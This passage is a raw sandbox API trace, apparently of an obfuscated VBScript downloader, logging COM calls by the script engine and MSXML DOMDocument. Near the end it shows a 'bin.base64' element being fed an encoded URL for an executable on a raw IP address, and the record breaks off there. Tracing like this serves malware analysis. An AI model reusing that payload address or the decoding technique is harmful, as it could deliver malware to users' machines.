[4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15328c | out: ppvObject=0x15328c*=0x83fd378) returned 0x0 [0087.879] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0087.879] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.879] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.879] DOMDocument:IServiceProvider:QueryService (in: This=0x1112b18, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0087.879] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153290 | out: ppvObject=0x153290*=0x83fd368) returned 0x0 [0087.880] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15328c | out: ppvObject=0x15328c*=0x83fd378) returned 0x0 [0087.880] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0087.880] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.880] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.880] DOMDocument:IUnknown:Release (This=0x1112b18) returned 0x3 [0087.880] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x153330 | out: ppvObject=0x153330*=0x0) returned 0x80004002 [0087.880] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x72b9da58*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153318 | out: ppvObject=0x153318*=0x0) returned 0x80004002 [0087.880] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153334 | out: ppvObject=0x153334*=0x1112b18) returned 0x0 [0087.880] DOMDocument:IServiceProvider:QueryService (in: This=0x1112b18, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153320 | out: ppvObject=0x153320*=0x0) returned 0x80004002 [0087.880] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532e8 | out: ppvObject=0x1532e8*=0x83fd368) returned 0x0 [0087.880] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1532e4 | out: ppvObject=0x1532e4*=0x83fd378) returned 0x0 [0087.880] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153320 | out: ppvObject=0x153320*=0x0) returned 0x80004002 [0087.880] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.880] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.880] DOMDocument:IServiceProvider:QueryService (in: This=0x1112b18, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x153330 | out: ppvObject=0x153330*=0x0) returned 0x80004002 [0087.880] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532e8 | out: ppvObject=0x1532e8*=0x83fd368) returned 0x0 [0087.880] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1532e4 | out: ppvObject=0x1532e4*=0x83fd378) returned 0x0 [0087.881] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x153330 | out: ppvObject=0x153330*=0x0) returned 0x80004002 [0087.881] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.881] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.881] DOMDocument:IServiceProvider:QueryService (in: This=0x1112b18, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0087.881] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532e8 | out: ppvObject=0x1532e8*=0x83fd368) returned 0x0 [0087.881] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1532e4 | out: ppvObject=0x1532e4*=0x83fd378) returned 0x0 [0087.881] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0087.881] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.881] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.881] DOMDocument:IServiceProvider:QueryService (in: This=0x1112b18, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0087.881] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532e8 | out: ppvObject=0x1532e8*=0x83fd368) returned 0x0 [0087.881] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1532e4 | out: ppvObject=0x1532e4*=0x83fd378) returned 0x0 [0087.881] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0087.881] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.881] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.881] DOMDocument:IUnknown:Release (This=0x1112b18) returned 0x3 [0087.881] DOMDocument:IUnknown:Release (This=0x1112b18) returned 0x2 [0087.881] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1543c0 | out: ppvObject=0x1543c0*=0x1112b18) returned 0x0 [0087.882] DOMDocument:IServiceProvider:QueryService (in: This=0x1112b18, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x1543c4 | out: ppvObject=0x1543c4*=0x0) returned 0x80004002 [0087.882] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154394 | out: ppvObject=0x154394*=0x83fd368) returned 0x0 [0087.882] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x154390 | out: ppvObject=0x154390*=0x83fd378) returned 0x0 [0087.882] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x1543c4 | out: ppvObject=0x1543c4*=0x0) returned 0x80004002 [0087.882] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.882] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.882] DOMDocument:IUnknown:Release (This=0x1112b18) returned 0x2 [0087.882] DOMDocument:IUnknown:Release (This=0x554954) returned 0x1 [0087.882] DOMDocument:IUnknown:QueryInterface (in: This=0x554928, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154454 | out: ppvObject=0x154454*=0x555088) returned 0x0 [0087.882] DOMDocument:IUnknown:AddRef (This=0x555088) returned 0x2 [0087.882] DOMDocument:IUnknown:Release (This=0x555088) returned 0x1 [0087.882] DOMDocument:IUnknown:Release (This=0x554928) returned 0x2 [0087.882] DOMDocument:IUnknown:QueryInterface (in: This=0x555088, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15453c | out: ppvObject=0x15453c*=0x5550bc) returned 0x0 [0087.883] DOMDocument:IDispatchEx:GetDispId (in: This=0x5550bc, bstrName="CreateElement", grfdex=0x8, pid=0x154558 | out: pid=0x154558*=41) returned 0x0 [0087.884] DOMDocument:IUnknown:Release (This=0x5550bc) returned 0x1 [0087.884] DOMDocument:IUnknown:AddRef (This=0x555088) returned 0x2 [0087.884] DOMDocument:IUnknown:QueryInterface (in: This=0x555088, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154544 | out: ppvObject=0x154544*=0x5550bc) returned 0x0 [0087.884] DOMDocument:IDispatchEx:InvokeEx (in: This=0x5550bc, id=41, lcid=0x409, wFlags=0x3, pdp=0x154510*(rgvarg=([0]=0x83d66d8*(varType=0x8, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1="aux", varVal2=0x8791454)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x154624, pei=0x1544ec, pspCaller=0x846d2a8 | out: pdp=0x154510*(rgvarg=([0]=0x83d66d8*(varType=0x8, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1="aux", varVal2=0x8791454)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x154624*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x554700, varVal2=0x0), pei=0x1544ec*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0087.884] DOMDocument:IUnknown:Release (This=0x5550bc) returned 0x2 [0087.884] DOMDocument:IUnknown:Release (This=0x555088) returned 0x1 [0087.884] DOMDocument:IUnknown:QueryInterface (in: This=0x554700, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154434 | out: ppvObject=0x154434*=0x5546e0) returned 0x0 [0087.884] DOMDocument:IUnknown:Release (This=0x554700) returned 0x1 [0087.884] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0087.884] DOMDocument:IUnknown:Release (This=0x1112950) returned 0x0 [0087.885] DOMDocument:IUnknown:AddRef (This=0x5546e0) returned 0x2 [0087.885] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.885] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="odjeiojfyd2f8fu34u", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.885] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="odjeiojfyd2f8fu34u", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.886] GetCurrentThreadId () returned 0xd44 [0087.886] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.886] ??2@YAPAXI@Z () returned 0x86bff10 [0087.886] malloc (_Size=0x804) returned 0x83fc220 [0087.886] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0087.886] _wcsicmp (_String1="wslausfychks", _String2="age64Dicode") returned 22 [0087.886] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0087.886] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15453c | out: ppvObject=0x15453c*=0x5546e0) returned 0x0 [0087.887] DOMDocument:IDispatchEx:GetDispId (in: This=0x5546e0, bstrName="DataType", grfdex=0x8, pid=0x154558 | out: pid=0x154558*=26) returned 0x0 [0087.887] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0087.887] DOMDocument:IUnknown:AddRef (This=0x5546e0) returned 0x2 [0087.887] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154544 | out: ppvObject=0x154544*=0x5546e0) returned 0x0 [0087.887] DOMDocument:IDispatchEx:InvokeEx (in: This=0x5546e0, id=26, lcid=0x409, wFlags=0x4, pdp=0x154510*(rgvarg=([0]=0x15444c*(varType=0x8, wReserved1=0x14, wReserved2=0xc0e4, wReserved3=0x14, varVal1="bin.base64", varVal2=0x14c0cc)), rgdispidNamedArgs=([0]=0x15450c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1544ec, pspCaller=0x846d2a8 | out: pdp=0x154510*(rgvarg=([0]=0x15444c*(varType=0x8, wReserved1=0x14, wReserved2=0xc0e4, wReserved3=0x14, varVal1="bin.base64", varVal2=0x14c0cc)), rgdispidNamedArgs=([0]=0x15450c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1544ec*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0087.887] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x2 [0087.887] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0087.888] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.888] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vartyzx", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.888] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vartyzx", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.888] GetCurrentThreadId () returned 0xd44 [0087.888] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.888] malloc (_Size=0x404) returned 0x11c29f0 [0087.888] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.889] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vartx", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.889] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vartx", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.889] GetCurrentThreadId () returned 0xd44 [0087.889] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.889] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.890] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="rey45r3t3e3yhju", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.890] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="rey45r3t3e3yhju", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.890] GetCurrentThreadId () returned 0xd44 [0087.890] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.890] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.890] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="biehigw3r8r38uh", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.890] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="biehigw3r8r38uh", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.890] GetCurrentThreadId () returned 0xd44 [0087.892] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.892] ??2@YAPAXI@Z () returned 0x86bff10 [0087.892] malloc (_Size=0x804) returned 0x83fc220 [0087.892] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0087.893] _wcsicmp (_String1="cvwtr5ycbve", _String2="age64Dicode") returned 2 [0087.893] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0087.893] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15453c | out: ppvObject=0x15453c*=0x5546e0) returned 0x0 [0087.894] DOMDocument:IDispatchEx:GetDispId (in: This=0x5546e0, bstrName="Text", grfdex=0x8, pid=0x154558 | out: pid=0x154558*=24) returned 0x0 [0087.894] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0087.894] DOMDocument:IUnknown:AddRef (This=0x5546e0) returned 0x2 [0087.894] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154544 | out: ppvObject=0x154544*=0x5546e0) returned 0x0 [0087.894] DOMDocument:IDispatchEx:InvokeEx (in: This=0x5546e0, id=24, lcid=0x409, wFlags=0x4, pdp=0x154510*(rgvarg=([0]=0x15444c*(varType=0x8, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1="aHR0UDovLzEzLjkyLjEwMC4yMDgvZG9jL2RvYy5leGU=", varVal2=0x0)), rgdispidNamedArgs=([0]=0x15450c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1544ec, pspCaller=0x846d2a8 | out: pdp=0x154510*(rgvarg=([0]=0x15444c*(varType=0x8, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1="aHR0UDovLzEzLjkyLjEwMC4yMDgvZG9jL2RvYy5leGU=", varVal2=0x0)), rgdispidNamedArgs=([0]=0x15450c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1544ec*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0087.894] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x2 [0087.894] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0087.895] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154828 | out: ppvObject=0x154828*=0x5546e0) returned 0x0 [0087.895] DOMDocument:IDispatchEx:GetDispId (in: This=0x5546e0, bstrName="NodeTypedValue", grfdex=0x8, pid=0x154844 | out: pid=0x154844*=25) returned 0x0 [0087.895] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0087.895] DOMDocument:IUnknown:AddRef (This=0x5546e0) returned 0x2 [0087.895] 